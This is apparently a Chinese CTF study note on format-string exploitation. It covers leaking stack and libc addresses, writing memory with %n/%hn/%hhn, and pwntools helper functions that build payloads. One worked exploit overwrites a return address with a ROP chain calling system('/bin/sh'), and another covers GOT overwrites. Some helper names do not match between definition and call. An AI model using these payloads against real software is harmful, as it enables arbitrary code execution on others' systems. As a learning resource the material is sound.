《格式化字符串》


格式化字符串

基本格式

%[parameter][flags][field width][.precision][length]type
  • 使用以%开头的格式说明符占位,在后面参数列表中提供相应变量
  • c,把 int 参数转为 unsigned char 型输出
  • p, void * 型,printf(“%p”,a) 用地址的格式打印变量 a 的值,printf(“%p”, &a) 打印变量 a 所在的地址
  • n,不输出字符,将该字符之前的字符数量写入参数中

泄露内存

利用格式化字符串漏洞,我们还可以获取我们所想要输出的内容。一般会有如下几种操作

  • 泄露栈内存
    • 获取某个变量的值
    • 获取某个变量对应地址的内存
  • 泄露任意地址内存
    • 利用 GOT 表得到 libc 函数地址,进而获取 libc,进而获取其它 libc 函数地址
    • 盲打,dump 整个程序,获取有用信息。

覆盖内存

payload:‘%’ + str(target_addr) + 'c%offset$n'

  • hhn:1字节(2位
  • hn:2字节(4位
  • n:4字节(8位

栈上的格式化字符串

确定偏移offset

printf下断点,利用fmtarg工具获取偏移

修改内存函数基本构造

def fmt1(prev, word, index):
    if prev < word:
        result = word - prev
        fmtstr = "%" + str(result) + "c"
    elif prev == word:
        result = 0
    else:
        result = 256 + word - prev
        fmtstr = "%" + str(result) + "c"
    fmtstr += "%" + str(index) + "$hhn"
    return fmtstr


def fmt2(offset, size, addr, target):
    payload = ""
    for i in range(4):
        if size == 4:
            payload += p32(addr + i)
        else:
            payload += p64(addr + i)
    prev = len(payload)
    for i in range(4):
        payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
        prev = (target >> i * 8) & 0xff
    return payload
payload = fmt_str(6,4,0x0804A028,0x12345678)

32位时自带函数:fmtstr_payload(偏移,{被改的got:要改的plt})

攻击思路

  • 泄露libc等所需地址
  • 将需要修改的地址写入栈
  • 获取写入

非栈上格式化字符串漏洞

技巧:1.改ret地址中的libc_start_mainogg

​ 2.改printf_gotsystem/ogg

​ 3.泄露stack地址的时候如果ebp地址不对就用和ebp连接的地址一样的地址

sys1 = system & 0xff #取低字节
sys2 = (system>>8) & 0xffff #取第二三字节 
gift_addr = gift & 0xffff #取低二字节
p4 = '%' + str(sys1) + 'c%8$hhn' + '%' + str((gift_addr) - (sys1)) + 'c%9$hn' + '%' + str(sys2-gift_addr) + 'c%10$hn' 
r.sendlineafter('gift for you: \n',p4)

若需分两次改则需要两条链,当第二次发送的数据小于第一次发送的数据时,要加0x10000

#简单的格式化字符串利用函数,将dest地址的后8字节循环更改成ptr对应的字节,off1与off2为上述(1)与(2)两个栈地址在格式化字符串中的偏移
def overlap(dest,ptr,off1,off2):
    d=dest&0xff
    for i in range(8):
        if not ptr:
            break
        payload=b'%'+str(d).encode()+b'c%'+str(off1).encode()+b'$hhn'
        p.sendlineafter('food: ',payload)
        f=ptr&0xff
        payload=b'%'+str(f).encode()+b'c%'+str(off2).encode()+b'$hhn'
        p.sendlineafter('food: ',payload)
        d+=1
        ptr>>=8

ret=rsp+0x18
ptr=libc.address+0x21112
print(hex(libc.sym.system))
#通过将第25个参数传入格式化字符串,将第39个参数的值改为返回地址
payload=b'%'+str(ret&0xffff).encode()+b'c%'+str(25).encode()+b'$hn'
p.sendlineafter('food: ',payload)
#覆盖返回地址为ptr(pop_rdi; ret)
overlap(ret,ptr,25,39)
#覆盖返回地址+8的位置为binsh字符串地址
overlap(ret+8,libc.search(b'/bin/sh').__next__(),25,39)
#覆盖返回地址+16的位置为system函数的地址
overlap(ret+16,libc.sym.system,25,39)
#至此,退出循环执行ROP后即可获取系统操作权限
p.sendlineafter('food: ',payload)
  • 泄露libc__libc_start_main

  • 修改:payload = (b'%' + bytes(str(one1), encoding='utf-8') + b'c%8$hn').ljust(16, b'a') + p64(exit_addr),分多次修改每次sleep(0.5)

  • num = 12345
    num_bytes = num.to_bytes(2, byteorder='little')		#转换为字节序列
    

  目录